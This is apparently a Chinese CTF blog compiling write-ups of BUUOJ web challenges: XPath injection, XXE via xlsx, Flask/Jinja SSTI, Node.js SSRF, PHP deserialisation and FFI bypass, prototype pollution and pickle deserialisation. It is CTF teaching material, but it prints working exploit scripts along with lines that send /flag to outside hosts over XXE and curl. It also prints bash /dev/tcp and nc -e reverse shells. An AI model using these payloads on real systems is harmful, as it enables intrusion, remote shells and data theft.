[FireshellCTF2020]Caas 这是个c语言编译器,我们随便输入点什么,会出现报错。
然后通过c语言预处理包含flag报错输出flag。
[NPUCTF2020]ezlogin 抓包看了一下是xml语分,学习了一下陌生的注入手法,XPATH注入
首先盲注有几个根节点
回显非法操作
再输出
回显用户名密码错误,
所以可以得到只有一个根节点,我们再盲注出该根节点的长度
1 'or string-length(name(/*[1]))=4 or ''='
得到是长度为4.
还需要爆破具体名称
1 'or substring(name(/*[1]), 1, 1)='a' or ''='
然后爆破子节点,还有子节点的子节点… 直接上脚本了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import requests import re import time s = requests.session() url ='http://e1d6f23f-0b1e-44bc-a0d1-c9850b9d2570.node4.buuoj.cn:81/index.php' head ={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36", "Content-Type": "application/xml" } find =re.compile('<input type="hidden" id="token" value="(.*?)" />') strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' flag ='' for i in range(1,100): for j in strs: r = s.post(url=url) token = find.findall(r.text) time.sleep(0.1) #猜测根节点名称 payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i,j,token[0]) #猜测子节点名称 payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i,j,token[0]) #猜测accounts的节点 payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i,j,token[0]) #猜测user节点 payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i,j,token[0]) #跑用户名和密码 payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i,j,token[0]) payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i,j,token[0]) print(payload_password) r = s.post(url=url,headers=head,data=payload_password) print(r.text) if "非法操作" in r.text: flag+=j print(flag) break if "用户名或密码错误!" in r.text: break print(flag)
存在两组用户名和密码,我们获取第二组的是管理员的。
爆出用户名
adm1n
密码的md5值
cf7414b5bdb2e65ee43083f4ddbc4d9f
解码一下是gtfly123,其实就是第一组的用户名。
成功登录后,有提示base64解码,有file可以传参,通过php伪协议读取文件,但是过滤了php、base64、read,我们通过大小写绕过php和base64,然后删除read,不加read也可以读取文件内容。
1 phP://filter/convert.bAse64-encode/resource=/flag
[网鼎杯 2020 青龙组]filejava 首先我们尝试filename是否存在任意文件下载,输入../报错,报错信息中有WEB-INF,这是java框架中的web应用的安全目录,应该是web.xml文件泄露,我们读取一下。
1 DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
有时候耐心还是很重要,穿越了很多层目录。
我们将三个class文件下载,
1 DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
然后通过jd-gui反编译获得源码。这里给出重要代码
1 2 3 4 5 6 7 8 9 if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) try { Workbook wb1 = WorkbookFactory.create(in); Sheet sheet = wb1.getSheetAt(0); System.out.println(sheet.getFirstRowNum()); } catch (InvalidFormatException e) { System.err.println("poi-ooxml-3.10 has something wrong"); e.printStackTrace(); }
这是一个excel和xxe结合的漏洞,CVE-2014-3529,是一个比较老的漏洞了。
当文件头为excel-并且结尾为xlsx时会对该文件进行操作,可能存在xxe漏洞。
我们先新建一个excel-1.xlsx文件,再改后缀为zip,解压缩,对文件夹里面的[Content_Types].xml进行修改,修改完后再压缩成zip,改后缀为xlsx。
1 2 3 4 <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.44.128/file.dtd"> %remote;%int;%send; ]>
1 2 <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.44.128:9999?p=%file;'>">
再监听端口9999得到flag。
[pasecactf_2019]flask_ssti 本题关键在于如何绕过黑名单,如下划线_通过/x5f十六进制代替;
.通过[]包含绕过;
单引号通过双引号绕过。
绕过后,我们要查找可以执行命令的类。找到os._wrap_close
在127.
发现可用类有popen
open
system
我们读取app.py文件,查看源码
1 {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat app*")["read"]()}}
发现源码被删除,还好flag存在config里面了,查看一下config中flag,再将flag解密出来就行了。
或者使用_frozen_importlib_external.FileLoader
类,再用get_data方法读取当前fd目录下运行的进程3,即/proc/self/fd/3
1 {{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
[GYCTF2020]Node Game 通过查看查看源代码获得方便阅读的代码,审计一下。
这里分析关键路由
1 2 3 /:包含/template目录下的一个pug模板文件来用pug进行渲染,可以通过执行命令。 /file_upload:限制了只能由IP为127.0.0.1进行文件上传,但是MIME是可控的,我们可以上传到任意目录。 /core:通过q参数向内网传内容,获取数据后再返回外网,但是对url存在黑名单,由于nodejs版本在8一下,我们可以通过拆分攻击实现ssrf(伪造服务器端请求)
拆分攻击
贴上大佬的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requests payload = """ HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive POST /file_upload HTTP/1.1 Host: 127.0.0.1 Content-Length: {} Content-Type: multipart/form-data; boundary=----x {}""".replace('\n', '\r\n') body = """------x Content-Disposition: form-data; name="file"; filename="hhh.pug" Content-Type: ../template -var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()") -return x ------WebKitFormBoundarysAs7bV3fMHq0JXUt-- """.replace('\n', '\r\n') payload = payload.format(len(body), body) \ .replace('+', '\u012b') \ .replace(' ', '\u0120') \ .replace('\r\n', '\u010d\u010a') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d') \ + 'GET' + '\u0120' + '/' requests.get( 'http://a54d09eb-a570-47c1-9460-bb464c495c6e.node4.buuoj.cn:81/core?q=' + payload) print(requests.get( 'http://a54d09eb-a570-47c1-9460-bb464c495c6e.node4.buuoj.cn:81/?action=hhh').text)
[SWPU2019]Web3 首先需要伪造一个管理员的身份,看见很像JWT的东西,放到网站上解密,失败,尝试使用之前使用过的脚本flask_session解密,也不行会报错,应该是格式还有一定的区别,使用大佬的脚本可以解密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
解出格式为
1 {'id': b'100', 'is_login': True, 'password': '123', 'username': 'wang'}
这里需要将id修改为1伪造管理员的身份,后面就可以使用以前用的脚本进行加密。
但是还需要拿到SECRET_KEY 的值,SECRET_KEY 是Flask中的通用密钥,主要在加密算法中作为一个参数,这个值的复杂度影响到数据传输和存储时的复杂度,密钥最好存储在系统变量中。
通常访问不存在的目录时,会出现在请求头中。在响应包中得到base64编码的密钥,解码得到
1 SECRET_KEY:keyqqqwwweee!@#$%^&*
伪造
1 python3 flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'wang'}"
1 eyJpZCI6eyIgYiI6Ik1RPT0ifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoiYWRtaW4iLCJ1c2VybmFtZSI6IndhbmcifQ.YRNxzQ.AQESiF0wHowaLvIVUbyvGALc6LM
成功伪造,在路由/showflag中给出flag路径:./flag/flag.jpg
前面也给出了提示,我们可以上传一个软链接压缩包来读取flag。
Linux中的软链接相当于windows中的快捷方式
创建软链接
1 ln -s /proc/self/cwd/flag/flag.jpg link
再进行压缩
最后上传zip即可读取到flag。
[CSAWQual 2016]i_got_id 比较老的题目了,题目使用perl编写的网页文件(.pl),后端代码
1 2 3 4 5 6 7 if ($cgi->upload('file')) { my $file = $cgi->param('file'); while (<$file>) { print "$_"; print "<br />"; } }
漏洞原理:
1 param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。而对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。
新加一个ARGV,把filename删除,内容为ARGV,即可通过?拼接参数进行任意文件读取。
[HarekazeCTF2019]Easy Notes 直接想查看flag,发现需要管理员身份,这又是一题伪造身份的题目
我们可以伪造session文件,将user设为sess_
type设置为. 由于..会被过滤,最后就成功伪造session文件
由于php默认的session反序列化为php,其存储方式为
1 键名+竖线+经过serialize函数序列处理的值
我们构造
1 2 |N;admin|b:1; |N;可以闭合前面的内容,这里我们可以成功伪造admin身份。
由于最后会返回filename,即我们伪造的session文件的后缀名,再将其填入PHPSESSID的值,就能伪造管理员身份,获取flag。
参考大佬的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import re import requests URL = 'http://0a3eafd3-4038-4a7e-b360-81c4a2070bc8.node4.buuoj.cn:81/' while True: # login as sess_ sess = requests.Session() sess.post(URL + 'login.php', data={ 'user': 'sess_' }) # make a crafted note sess.post(URL + 'add.php', data={ 'title': '|N;admin|b:1;', 'body': 'hello' }) # make a fake session r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition'] print(r) sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0] print(sessid) # get the flag r = requests.get(URL + '?page=flag', cookies={ 'PHPSESSID': sessid }).content.decode('utf-8') flag = re.findall(r'HarekazeCTF\{.+\}', r) if len(flag) > 0: print(flag[0]) break
[watevrCTF-2019]Supercalc 超级计算器,这个页面就想到模板注入,但是应该没那么简单。
尝试了很多都不行,我们试一下将0当作除数,发生报错,再通过注释符#后面拼接实现ssti注入,成功执行。
抓包看了session的值,感觉又是伪造管理员身份,我们查看config信息,获得密钥。
1 cded826a1e89925035cc05f0907855f7
通过之前的脚本解密,获取信息,可以发现我们可以借此执行命令,而不是伪造管理员。
1 {'history': [{'code':'2*5'}]}
最后通过os模块中popen方法执行任意命令,写入PHPSESSID中,刷新一下拿到flag。
1 {'history': [{'code':'__import__(\"os\").popen(\"cat flag.txt\").read()'}]}
[极客大挑战 2020]Greatphp 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0 ); class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5($this ->syc) === md5($this ->lover)) && (sha1($this ->syc)=== sha1($this ->lover)) ){ if (!preg_match("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } if (isset ($_GET ['great' ])){ unserialize($_GET ['great' ]); } else { highlight_file(__FILE__ ); } ?>
看着md5函数和sha1函数,我们想着通过数组绕过,但是现在是在类中,我们需要另寻僻径。
php中的原生类Error和Exception中存在__tostring方法,当类当作字符串处理,就会调用,这里使用Error,Error只适用于PHP7,Exception适用于PHP5和PHP7。
这里的md5和sha1都会触发该方法。
由于小括号被过滤了,所以我们通过文件包含读取flag,但是由于引号被过滤,我们通过取反绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; $a=new Error($str,1); $b=new Error($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c))); ?>
最后一个需要注意的是,两个参数需要在同一行,因为__tostring方法返回的数据包包括行数。
[SUCTF 2018]annonymous 1 create_function()函数在创建之后会生成一个函数名为:%00lambda_%d
后面进行一个爆破就可以拿到flag。
1 2 3 4 5 6 7 import requestsfor i in range (1 ,1000 ): r=requests.get(url='http://742ecdbe-f78c-45d8-ab5f-eab74021198c.node4.buuoj.cn:81/?func_name=%00lambda_{}' .format (i)) if 'flag' in r.text: print (r.text) break
[NESTCTF 2019]Love Math 2 fuzz脚本
1 2 3 4 5 6 7 8 9 10 11 <?php $payload = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ];for ($k =1 ;$k <=sizeof($payload );$k ++){ for ($i = 0 ;$i < 9 ; $i ++){ for ($j = 0 ;$j <=9 ;$j ++){ $exp = $payload [$k ] ^ $i .$j ; echo ($payload [$k ]."^$i $j " ."==>$exp " ); echo "<br />" ; } } }
拼接
1 2 3 4 5 mt_rand^23==>_G tan^15==>ET $pi=(mt_rand^(2).(3)).(tan^(1).(5)) 即 $pi=_GET $pi=$$pi 即 $pi=$_GET $pi{1}($pi{2}) 即$_GET{0}($_GET{1})
执行命令
1 $pi=(mt_rand^(2).(3)).(tan^(1).(5));$pi=$$pi;$pi{1}($pi{2})&1=system&2=tac /flag
[GKCTF 2021]easycms 提示后台密码弱口令
扫后台,发现admin.php
爆破密码为12345
成功登录
对于cms我们还是需要慢慢来查找漏洞滴,
在设计的主题,我们可以自定义默认主题,发现可以执行php源代码,但是需要在服务器创建文件
1 /var/www/html/system/tmp/akiq.txt
在设置中的微信设置中,我们发现存在目录穿越,将原始ID编辑成路径穿越的漏洞,然后再上传二维码图片,我们就成功绕过,执行我们的php代码
1 ../../system/tmp/akiq.txt/0
最后回到主题设计执行php代码cat flag。
在绕过创建文件还有一个方法,在设计 组件的素材库可以上传文件,我们先随意上传一个txt文件,再编辑,修改文件名称,也是通过路径穿越,修改为
1 ../../../../../system/tmp/akiq
[RCTF 2019]Nextphp 这一看就有点像前几天陈学长给21届新生出的一道新手题目。
查看一下phpinfo信息,PHP Version 7.4.0-dev
看了一下disable_functions,禁用的很多函数。
我们找一下根目录下有没有放着什么东西。
传入:
1 ?a=var_dump(scandir('./'));
发现了preload.php文件,我们读取一下
1 ?a=show_source('preload.php');
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php final class A implements Serializable { protected $data = [ 'ret' => null , 'func' => 'print_r' , 'arg' => '1' ]; private function run ( ) { $this ->data['ret' ] = $this ->data['func' ]($this ->data['arg' ]); } public function __serialize ( ): array { return $this ->data; } public function __unserialize (array $data ) { array_merge($this ->data, $data ); $this ->run(); } public function serialize ( ): string { return serialize($this ->data); } public function unserialize ($payload ) { $this ->data = unserialize($payload ); $this ->run(); } public function __get ($key ) { return $this ->data[$key ]; } public function __set ($key , $value ) { throw new \Exception ('No implemented' ); } public function __construct ( ) { throw new \Exception ('No implemented' ); } }
应该是个反序列化问题,先看看[Serializable](PHP: rfc:custom_object_serialization )。
这是属于比较新的机制,自定义的序列化,
1 如果一个类同时实现Serializable和\_\_Serialize()/\_\_Unserialize(),则序列化更倾向于新机制,而序列化则使用其中一种,取决于使用的格式是C(Serializable)还是O(Uu unserialize),所以C格式编码的旧的字符仍可以解码,新的字符串则以O格式生成
所以后面生成的序列化是C格式,同时会先执行Serializable接口中的方法,还要删除__serialize()和__unserialize(),不然会优先触发这两个函数
看了PHP版本很新,要怎么绕过禁用函数,需要使用到[FFI扩展](PHP: FFI::cdef - Manual )
1 2 如果FFI.cdef没有第二个参数,会在全局查找,第一个参数所声明的符号。意思就是其在不传入第二个参数时,可以直接调用php代码。所以我们在声明后,即可加入php代码. 方法:实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions
编写EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'FFI::cdef', 'arg' => 'int system(const char *command);' //声明 ]; public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); } } $a = new A(); $b = serialize($a); echo $b;
由于执行命令没有回显,需要挂VPS会比较麻烦
payload:
1 ?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('curl -d @/flag linux靶机ip:8888');
还有更简单的方法,将文件写入一个文本中:
1 ?$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('cat /flag>/var/www/html/1.txt');
参考:
Nextphp - kar3a - 博客园
RCTF2019Web题解之nextphp | Mochazz’s blog
RCTF 2019]Nextphp_fmyyy1的博客-CSDN博客
EasyBypass 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file(__FILE__ ); $comm1 = $_GET ['comm1' ];$comm2 = $_GET ['comm2' ];if (preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is" , $comm1 )) $comm1 = "" ; if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is" , $comm2 )) $comm2 = "" ; $flag = "#flag in /flag" ;$comm1 = '"' . $comm1 . '"' ;$comm2 = '"' . $comm2 . '"' ;$cmd = "file $comm1 $comm2 " ;system($cmd ); ?>
其实每个过滤都相当于一种提示,过滤了cat我们可以用tac,这里有个小tip,通过双引号太闭合前面的语句,然后再用双引号闭合后面的,这样中间的语句就可以逃逸出来,不被影响,这个地方其实在前面学sql的时候,单引号引发的问题也出现过类似的。
[PASECA2019]honey_shop 又是买东西的,想看看能不能改一下post的值,结果只有提交商品的信息。
看了session的值有问题,用脚本解密一下,里面有钱的信息。
1 {'balance': 1339, 'purchases': []}
直接用JWT修改是不行的,我们要拿到密钥,应该存在任意文件读取的。
点击图片,可以直接下载,抓包看见了get提交的内容,我们尝试读取一下。
1 download?image=../../../etc/passwd
成功读取,找一下环境变量。
1 download?image=../../../proc/self/environ
成功读到密钥,
1 nDGTJfUGrmpf8cy1E3OOR5jbgsTXyeAhlhwvkP2Z
然后使用脚本改造session信息,再买最贵的那个就行了。
1 python3 flask_session_cookie_manager3.py encode -s "nDGTJfUGrmpf8cy1E3OOR5jbgsTXyeAhlhwvkP2Z" -t "{'balance': 1339, 'purchases': []}"
[HITCON 2016]Leaking 又是考察node.js,对于语法还是不大了解,但是也不影响做题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 "use strict" ;var randomstring = require ("randomstring" );var express = require ("express" );var { VM } = require ("vm2" ); var fs = require ("fs" );var app = express();var flag = require ("./config.js" ).flagapp.get("/" , function (req, res ) { res.header("Content-Type" , "text/plain" ); eval ("var flag_" + randomstring.generate(64 ) + " = \"hitcon{" + flag + "}\";" ) if (req.query.data && req.query.data.length <= 12 ) { var vm = new VM({ timeout : 1000 }); console .log(req.query.data); res.send("eval ->" + vm.run(req.query.data)); } else { res.send(fs.readFileSync(__filename).toString()); } }); app.listen(3000 , function ( ) { console .log("listening on port 3000!" ); });
补充一些知识点,这里有个
1 var { VM } = require("vm2");
这是Node.js官方的安全沙箱
1 2 3 4 5 6 VM2原理:基于VM,使用官方VM库构建沙箱环境,然后使用js的proxy技术防止沙箱脚本逃逸。 运行不受信任的JS脚本 沙箱的终端输出信息完全可控 沙箱内可以受限地加载modules 可以安全地向沙箱间传递callback 死循环攻击免疫 while (true) {}
后面就是漏洞利用了,
1 在node.js版本8.0之前,当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。
这样我们就可以通过Buffer来读取内存。
写个脚本读取flag:
1 2 3 4 5 6 7 8 import requests import time url="http://76857e14-c099-4f0d-968f-694171d40639.node4.buuoj.cn:81/?data=Buffer(500)" while 1: r=requests.get(url) if 'flag{' in r.text: print(r.text) break
[网鼎杯 2020 青龙组]notes 1 2 原型链污染 undefsafe函数小于2.03版本存在漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 app.route('/status') .get(function(req, res) { let commands = { "script-1": "uptime", "script-2": "free -m" }; for (let index in commands) { exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => { if (err) { return; } console.log(`stdout: ${stdout}`); }); } res.send('OK'); res.end(); })
首先看到/status路由存在命令执行,这里我们就可以任意代码执行,只需要污染commands字典,通过commands字典来执行我们的命令。
再来看看怎么进行污染,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 app.route('/edit_note') .get(function(req, res) { res.render('mess', {message: "please use POST to edit a note"}); }) .post(function(req, res) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id, author, enote); res.render('mess', {message: "edit note sucess"}); } else { res.render('mess', {message: "edit note failed"}); } })
在/edit_note路由接受三个参数,传入之后会写入note_list,commands与note_list都是数组对象的实例,他们的原型类肯定相同,这样就造成了原型链污染。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 var app = express(); class Notes { constructor() { this.owner = "whoknows"; this.num = 0; this.note_list = {}; } write_note(author, raw_note) { this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note}; } get_note(id) { var r = {} undefsafe(r, id, undefsafe(this.note_list, id)); return r; } x return this.note_list; }
所以我们先在/edit_note路由下post提交:
1 id=__proto__.bb&author=curl -F 'flag=@/flag' 172.16.160.103:9999&raw=a
然后在buu内网的靶机网站根目录下写入文件shell.txt
1 bash -i >& /dev/tcp/172.16.160.103/9999 0>&1
最后监听端口9999,然后访问/status,反弹shell。
参考:
漏洞参考链接
[WMCTF2020]Make PHP Great Again 1 2 3 4 5 6 <?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; }
源码给的很简单,但是要绕过require_once不能重复包含文件的限制。
这里有个小trick,
1 require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含
payload:
1 ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
还有一种方法,利用session.upload_progress条件竞争将代码写入session文件中,再session清空前去包含session文件,这里不再赘述。
参考:
绕过require_once不能重复包含
session.upload_progress进行文件包含
Make PHP Great Again_peri0d的博客-CSDN博客
[GWCTF 2019]你的名字 有个输入框,感觉就像ssti注入。
但是输入两个{{}}`符合就报错了。
我们尝试绕过`{{}}
的ssti语句,需要将数据外带出去。
1 {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://174.0.68.175:8080/?i=whoami').read()=='p' %}1{% endif %}
但是输入就出错,测试了一下有过滤。知道一个config被过滤了,我们就可以利用它构造语句绕过,
最终得到payload:
1 {% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl 172.16.160.103:6666/ -d ls /|base64;') %}1{% endiconfigf %}
[watevrCTF-2019]Pickle Store —python反序列化漏洞
又是买东西的,不过这次的session是通过python中pickle函数序列化实现的。
我们将其反序列化处理一下,
1 2 3 4 import pickle from base64 import * a="gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu" print(pickle.loads(b64decode(a)))
得到了序列化前的数据。
1 {'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}
然后通过nc执行命令反弹shell。
1 2 3 4 5 6 7 8 9 import base64 import pickle class A(object): def __reduce__(self): return (eval, ("__import__('os').system('nc 174.0.0.223 9999 -e/bin/sh')",)) a = A() print( base64.b64encode( pickle.dumps(a) ) )
参考:
[watevrCTF-2019]Pickle Store - h3zh1 - 博客园
Python pickle 反序列化实例分析 - 安全客,安全资讯平台